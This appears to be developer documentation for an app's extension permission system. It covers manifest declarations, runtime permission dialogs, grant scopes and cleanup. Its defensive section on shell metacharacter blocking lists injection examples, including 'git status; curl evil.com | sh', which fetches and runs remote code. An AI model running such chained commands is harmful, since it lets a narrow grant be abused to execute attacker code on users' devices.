Permissions
Extensions that need access to sensitive device capabilities must declare permissions in their manifest. If an extension calls a permission-gated API without declaring the required permission in its manifest, the call is rejected and the error is logged.
Overview
The permissions system is built around three principles:
- Declare up front -- extensions MUST list every permission they need in
manifest.json. An informational notice is shown to the user at install time. Undeclared permission usage is rejected at runtime. - Prompt at runtime -- no permission is actually granted until the extension tries to use a protected API. At that point, if the permission was declared in the manifest, a dialog appears showing the exact command or path being requested.
- Granular, scoped grants -- the user controls how broad and how long each grant lasts, from a single request to a permanent allowance.
Permission types
Extensions can request three permission types:
| Permission | Value | Description |
|---|---|---|
| Terminal | terminal | Run terminal commands and open terminal tabs on the user's device. |
| File System | fileSystem | Read and write files outside the currently open project directory. Files inside the project are always accessible without permission. |
| Project Create | projectCreate | Create new projects on the user's device. |
Manifest declaration
Permissions are declared as a string array in manifest.json:
{
"id": "my-extension",
"name": "My Extension",
"version": "1.0.0",
"permissions": ["terminal", "fileSystem", "projectCreate"]
}
Declare every permission your extension actually uses. When an extension is installed or updated, the app displays an informational notice listing the declared permissions. This notice does not grant anything -- it simply informs the user about the capabilities the extension may request later. If the extension calls a permission-gated API without the corresponding permission declared in its manifest, the call is rejected with a PERMISSION_DENIED error and the attempt is logged.
Grant scopes
When a permission dialog appears, the user chooses one of three grant scopes:
| Scope | Behavior |
|---|---|
| One-time | Valid for this single request only. Consumed immediately. |
| Session | Valid until the app is restarted. |
| Permanent | Survives app restarts. Stored persistently. |
How scope affects the grant pattern
The scope also determines the breadth of the grant:
- One-time -- allows exactly the requested resource (the specific command string, file path, or project name).
- Session -- allows the extracted pattern for the rest of the session. For terminal, the pattern is the executable name (e.g.
git). For file system, it is the parent directory. For project creation, it is all projects. - Permanent -- same breadth as session, but persisted to the database.
For example, if an extension runs git status:
| Scope | What is allowed |
|---|---|
| One-time | Only git status, this one time |
| Session | Any command starting with git (e.g. git status, git pull), until restart |
| Permanent | Any command starting with git, forever |
How grants work
When an extension calls a protected API, the app checks if a matching grant already exists. If one is found, the operation proceeds silently. If not, the user is prompted via a permission dialog.
Grants are scoped to specific resources:
- Terminal: A grant can cover all commands, or be limited to a specific executable (e.g. only
gitcommands). - File System: A grant can cover all paths, or be limited to a specific directory and its children.
- Project Create: A grant can cover all projects, or be limited to a specific project name.
Security features
Executable extraction
When checking terminal permissions, the app parses the command string to find the actual binary being invoked. It skips:
- Environment variable assignments (tokens containing
=, e.g.NODE_ENV=production) sudoprefixenvprefix
Examples:
| Command | Extracted executable |
|---|---|
git status | git |
sudo npm install | npm |
env NODE_ENV=production node app.js | node |
KEY=val python script.py | python |
Shell metacharacter detection
When a grant is scoped to a specific executable (not "all"), the system rejects commands that contain shell metacharacters after the executable name. The following characters are blocked:
; & | ` $ ( ) { }
This prevents injection attacks where a narrow grant is abused to chain arbitrary commands. For example, a grant for git would block:
git status; curl evil.com | sh-- contains;git status && malicious-command-- contains&git status $(whoami)-- contains$and()
Commands that match the executable but contain any of these characters are treated as if no grant exists, and the user is re-prompted.
Dialog timeout
Permission dialogs time out after 5 minutes. If the user does not respond, the request is treated as denied.
User flow
At install time
- The extension manifest is downloaded and parsed.
- If
manifest.permissionsis non-empty, an informational notice is displayed listing the declared permissions. - No grants are created. This is purely informational.
At runtime (first use)
- The extension calls a protected API (e.g.
terminal.openwith a command). - The host provider checks whether the operation requires a permission (e.g. is the file path outside the project?).
- The app verifies that the required permission is declared in the extension's manifest. If it is not declared, the call is immediately rejected with a
PERMISSION_DENIEDerror and the attempt is logged. No dialog is shown. - The app checks existing grants (permanent, then session).
- If no matching grant exists, a permission dialog appears, showing:
- The extension name.
- The permission type (terminal / file system / project create).
- The exact command, file path, or project name in a monospace box.
- Three radio options: one-time, session, or permanent.
- The user selects a scope and taps Allow or Deny.
On allow
- One-time: The grant is consumed for this single request only.
- Session: The grant is remembered until the app restarts.
- Permanent: The grant is stored persistently and survives restarts.
The protected operation then proceeds.
On deny
- The extension receives a
PERMISSION_DENIED: {permissionName}error.
On subsequent use
If a matching grant already exists (session or permanent), the operation proceeds silently with no user interaction.
Cleanup
On extension uninstall
All permission grants for the extension are automatically revoked. No stale grants remain after an extension is removed.
Session reset
All session grants are cleared on app restart.
Manifest examples
Terminal-only extension
An extension that runs Git commands:
{
"id": "git-helper",
"name": "Git Helper",
"version": "1.0.0",
"permissions": ["terminal"],
"activationEvents": ["onCommand:gitHelper.sync"]
}
When the user triggers the extension's command, a permission dialog will appear:
"Git Helper" wants to:
Run terminal command:
$ git pull --rebase origin main
- Allow this command only (one-time)
- Allow "git" commands this session (session)
- Allow "git" commands permanently (permanent)
File system extension
An extension that reads configuration files from the user's home directory:
{
"id": "config-reader",
"name": "Config Reader",
"version": "1.0.0",
"permissions": ["fileSystem"],
"activationEvents": ["onCommand:configReader.load"]
}
Project scaffolding extension
An extension that creates new projects from templates:
{
"id": "project-scaffolder",
"name": "Project Scaffolder",
"version": "1.0.0",
"permissions": ["projectCreate", "terminal"],
"activationEvents": ["onCommand:scaffolder.create"]
}
This extension needs both projectCreate (to create the project directory) and terminal (to run setup commands like npm install in the new project).
No permissions needed
Extensions that only work with files inside the current project, contribute themes, or provide language support do not need any permissions:
{
"id": "my-theme",
"name": "My Theme",
"version": "1.0.0",
"contributes": {
"themes": [{ "id": "my-dark", "label": "My Dark", "type": "dark" }]
}
}